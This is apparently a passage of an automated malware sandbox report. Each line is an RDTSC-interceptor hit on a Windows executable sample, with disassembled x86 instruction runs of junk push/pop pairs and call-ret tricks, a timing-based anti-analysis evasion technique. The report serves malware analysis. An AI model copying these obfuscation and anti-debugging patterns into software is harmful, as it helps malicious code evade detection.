Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83E6C second address: D83E72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83E72 second address: D83E82 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6A88D62F26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A86F second address: D8A883 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6A8934DF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F6A8934DF9Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A883 second address: D8A889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A889 second address: D8A88D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89C20 second address: D89C41 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F6A88D62F37h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89C41 second address: D89C65 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6A8934DF96h 0x00000008 jmp 00007F6A8934DFA0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jng 00007F6A8934DF96h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89DCF second address: D89DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89DD3 second address: D89DFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DFA8h 0x00000007 jmp 00007F6A8934DF9Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89F9F second address: D89FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89FA5 second address: D89FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9114F second address: D91157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91157 second address: D9115D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9115D second address: D9116A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F6A88D62F2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9116A second address: D91173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1712A second address: D17136 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F6A88D62F26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17136 second address: D1713C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62971 second address: D62975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62975 second address: BAFB2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jc 00007F6A8934DFACh 0x0000000e jmp 00007F6A8934DFA6h 0x00000013 push dword ptr [ebp+122D0161h] 0x00000019 mov ecx, 205B12D1h 0x0000001e call dword ptr [ebp+122D2F31h] 0x00000024 pushad 0x00000025 jmp 00007F6A8934DFA9h 0x0000002a xor eax, eax 0x0000002c jmp 00007F6A8934DF9Ch 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 jmp 00007F6A8934DF9Eh 0x0000003a mov dword ptr [ebp+122D36F9h], eax 0x00000040 cmc 0x00000041 mov esi, 0000003Ch 0x00000046 mov dword ptr [ebp+122D317Dh], ebx 0x0000004c add esi, dword ptr [esp+24h] 0x00000050 pushad 0x00000051 xor bx, 3EDAh 0x00000056 pushad 0x00000057 mov dword ptr [ebp+122D317Dh], ebx 0x0000005d mov ebx, dword ptr [ebp+122D37A1h] 0x00000063 popad 0x00000064 popad 0x00000065 lodsw 0x00000067 jmp 00007F6A8934DFA5h 0x0000006c add eax, dword ptr [esp+24h] 0x00000070 ja 00007F6A8934DFA2h 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a mov dword ptr [ebp+122D1D2Bh], edi 0x00000080 nop 0x00000081 jmp 00007F6A8934DFA9h 0x00000086 push eax 0x00000087 push eax 0x00000088 push edx 0x00000089 jnc 00007F6A8934DF9Ch 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62A37 second address: D62A3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62A3C second address: D62A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62A4C second address: BAFB2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov cl, al 0x0000000c push dword ptr [ebp+122D0161h] 0x00000012 push edx 0x00000013 mov edx, dword ptr [ebp+122D3701h] 0x00000019 pop edi 0x0000001a call dword ptr [ebp+122D2F31h] 0x00000020 pushad 0x00000021 jmp 00007F6A88D62F39h 0x00000026 xor eax, eax 0x00000028 jmp 00007F6A88D62F2Ch 0x0000002d mov edx, dword ptr [esp+28h] 0x00000031 jmp 00007F6A88D62F2Eh 0x00000036 mov dword ptr [ebp+122D36F9h], eax 0x0000003c cmc 0x0000003d mov esi, 0000003Ch 0x00000042 mov dword ptr [ebp+122D317Dh], ebx 0x00000048 add esi, dword ptr [esp+24h] 0x0000004c pushad 0x0000004d xor bx, 3EDAh 0x00000052 pushad 0x00000053 mov dword ptr [ebp+122D317Dh], ebx 0x00000059 mov ebx, dword ptr [ebp+122D37A1h] 0x0000005f popad 0x00000060 popad 0x00000061 lodsw 0x00000063 jmp 00007F6A88D62F35h 0x00000068 add eax, dword ptr [esp+24h] 0x0000006c ja 00007F6A88D62F32h 0x00000072 mov ebx, dword ptr [esp+24h] 0x00000076 mov dword ptr [ebp+122D1D2Bh], edi 0x0000007c nop 0x0000007d jmp 00007F6A88D62F39h 0x00000082 push eax 0x00000083 push eax 0x00000084 push edx 0x00000085 jnc 00007F6A88D62F2Ch 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62ADE second address: D62AE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62AE5 second address: D62B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6A88D62F2Eh 0x0000000e pop edx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jnl 00007F6A88D62F38h 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d jo 00007F6A88D62F30h 0x00000023 jmp 00007F6A88D62F2Ah 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62B2D second address: D62B89 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6A8934DF98h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jbe 00007F6A8934DFA2h 0x00000016 pop eax 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F6A8934DF98h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D2255h], esi 0x00000037 push 5D2306A6h 0x0000003c jbe 00007F6A8934DFA4h 0x00000042 push eax 0x00000043 push edx 0x00000044 push edx 0x00000045 pop edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62CDF second address: D62CE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62DF4 second address: D62E0A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6A8934DF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6A8934DF9Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62E0A second address: D62E20 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6A88D62F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e js 00007F6A88D62F26h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62E20 second address: D62E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F6A8934DFA6h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jmp 00007F6A8934DFA7h 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F6A8934DFA9h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63012 second address: D63018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63367 second address: D633C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A8934DFA1h 0x00000009 popad 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F6A8934DF98h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 je 00007F6A8934DF9Ch 0x0000002e mov dword ptr [ebp+12475CC8h], edx 0x00000034 mov edx, dword ptr [ebp+122D3388h] 0x0000003a push 0000001Eh 0x0000003c push ecx 0x0000003d pop ecx 0x0000003e nop 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 jns 00007F6A8934DF96h 0x00000048 pushad 0x00000049 popad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D633C5 second address: D633CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D636D8 second address: D636ED instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6A8934DF98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D636ED second address: D636F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D636F1 second address: D63716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F6A8934DF98h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 jmp 00007F6A8934DFA0h 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63716 second address: D6371C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D637BC second address: D63800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 jmp 00007F6A8934DF9Ah 0x0000000c nop 0x0000000d lea eax, dword ptr [ebp+12486367h] 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F6A8934DF98h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov di, ax 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 push esi 0x00000037 pop esi 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63800 second address: D63849 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c xor edx, dword ptr [ebp+124776CDh] 0x00000012 lea eax, dword ptr [ebp+12486323h] 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F6A88D62F28h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 nop 0x00000033 push eax 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63849 second address: D3F375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6A8934DF96h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F6A8934DF9Dh 0x00000012 nop 0x00000013 call dword ptr [ebp+122D1EBAh] 0x00000019 pushad 0x0000001a jmp 00007F6A8934DFA4h 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A7D0 second address: D1A813 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F6A88D62F2Ah 0x0000000e jnp 00007F6A88D62F26h 0x00000014 jnp 00007F6A88D62F26h 0x0000001a popad 0x0000001b jnl 00007F6A88D62F37h 0x00000021 push edi 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 pop eax 0x00000026 pop edi 0x00000027 popad 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A813 second address: D1A817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95323 second address: D9533A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A88D62F2Ah 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95648 second address: D9565F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F6A8934DFA2h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9565F second address: D95673 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F2Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95673 second address: D9568B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A8934DFA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9580E second address: D95827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jg 00007F6A88D62F44h 0x0000000c pushad 0x0000000d jmp 00007F6A88D62F2Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95827 second address: D95831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9605F second address: D96063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96650 second address: D9666D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DFA3h 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F6A8934DF96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9666D second address: D96671 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D94F21 second address: D94F34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6A8934DF9Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA19F8 second address: DA19FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA19FE second address: DA1A02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1A02 second address: DA1A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1A0C second address: DA1A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1A12 second address: DA1A18 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1A18 second address: DA1A24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F6A8934DF96h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1B8D second address: DA1B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1B92 second address: DA1B98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1B98 second address: DA1B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1B9E second address: DA1BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1BA2 second address: DA1BA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA15FE second address: DA1602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA22AF second address: DA22CE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6A88D62F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007F6A88D62F30h 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA2453 second address: DA2457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA2457 second address: DA2461 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6A88D62F26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA2461 second address: DA246A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA4CAC second address: DA4CB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7883 second address: DA7897 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DFA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7897 second address: DA78B8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6A88D62F43h 0x00000008 jmp 00007F6A88D62F37h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA78B8 second address: DA78C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC588 second address: DAC592 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC592 second address: DAC59C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6A8934DF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABCC8 second address: DABCD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F6A88D62F2Ah 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABCD9 second address: DABCFC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F6A8934DFA9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABCFC second address: DABD00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABE38 second address: DABE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABE3E second address: DABE75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push edx 0x00000006 pop edx 0x00000007 jno 00007F6A88D62F26h 0x0000000d pop esi 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6A88D62F36h 0x00000016 pushad 0x00000017 push eax 0x00000018 pop eax 0x00000019 jmp 00007F6A88D62F2Ah 0x0000001e push edi 0x0000001f pop edi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABFE5 second address: DABFEB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC2B2 second address: DAC2B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC2B6 second address: DAC2C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DF9Ch 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAC2C8 second address: DAC2CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB1C4C second address: DB1C6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6A8934DFA5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB1C6A second address: DB1C6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
